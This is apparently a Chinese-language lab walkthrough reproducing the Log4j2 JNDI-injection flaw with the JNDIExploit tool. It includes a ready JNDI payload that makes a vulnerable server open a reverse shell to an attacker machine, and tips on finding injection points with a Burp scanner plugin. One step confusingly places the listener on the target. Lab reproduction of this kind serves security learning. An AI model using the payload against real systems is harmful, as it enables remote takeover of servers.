使用JNDIExploit-1.2-SNAPSHOT.jar复现log4j2详细流程

1.进入到改工具所在的目录，然后cmd打开命令行

查看一下帮助信息

-l    指定开启ladp服务的端口

-p  指定开启http服务的端口

-i  指定开启服务的ip，也就是攻击者的ip，也可以是黑客的公网服务器

因为这里的靶场是部署在kali当中的，所以我们用两台kali来演示，实测当中发现如果有一台用windos成功几率不大

攻击机 ：192.168.75.134  靶机 ：133

2.攻击流程

靶机开启nc监听 6666 端口

在靶机上启动  JNDIExploit-1.2-SNAPSHOT.jar

含义： 在本机开启ldap服务占用8888端口，同时开启http服务占用9999端口

poc：ldap://null:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supporte

实际构造：${jndi:ldap://192.168.75.134:8888/Basic/ReverseShell/192.168.75.134/6666}

把这段代码发给服务器当中存在log4j漏洞的点，然后让他去访问攻击机的ldap服务的8888端口，然后与攻击机的6666端口建立反弹shell。

这里的6666端口就是nc监听的端口

由于这里是使用工具封装好的指令，所以只需要给参数即可。

在构造好poc之后，就要寻找漏洞注入点了，并不是说只要使用了log4j这个框架的网站你去随便构造poc提交给服务器都会成功的，这里我使用了bp当中的一个log4j的扫描插件，在它提示有注入点的地方构造poc即可。插件叫log4j2scan，可以自己去下载导入

提交poc

虽然响应400，但是反弹shell成功了.

补充说明：

在完成这个复现的时候，我是分两次完成的，所以在文章前面我说的是使用8888开启ldap服务，但是在后半部分我在实际操作的时候用了默认的1389端口。大家复现的时候随便选择一个端口即可，但是要保证和poc当中的端口对应即可。

还有就是之所以这个实验做了两次，就是因为在这个实验当中，我第一次做的时候，由于这个复现是使用那个脚本，所以直接使用命令去开启http服务和ldap服务 ，但是我发现开启了http服务，但是没法访问到，我以为是环境的问题，就打算第二天再做。结果第二天还是不行，后来终于搞明白了，他这里使用工具开启http服务的指令，实际上并没有真正的开启http服务，只是做了一个端口监听，让靶机误以为开启了ldap服务和http服务。但是去访问的时候就会执行恶意poc，主要还是这个工具封装的问题，使得我们复现起来简单，但是实际上工具把很多的底层原理都给封装起来了，我们看不到。

如果是手工复现的话就是需要真正开启http服务和ldap服务，并且把我们编译好的class文件，放到我们的http服务上面，让靶机来下载。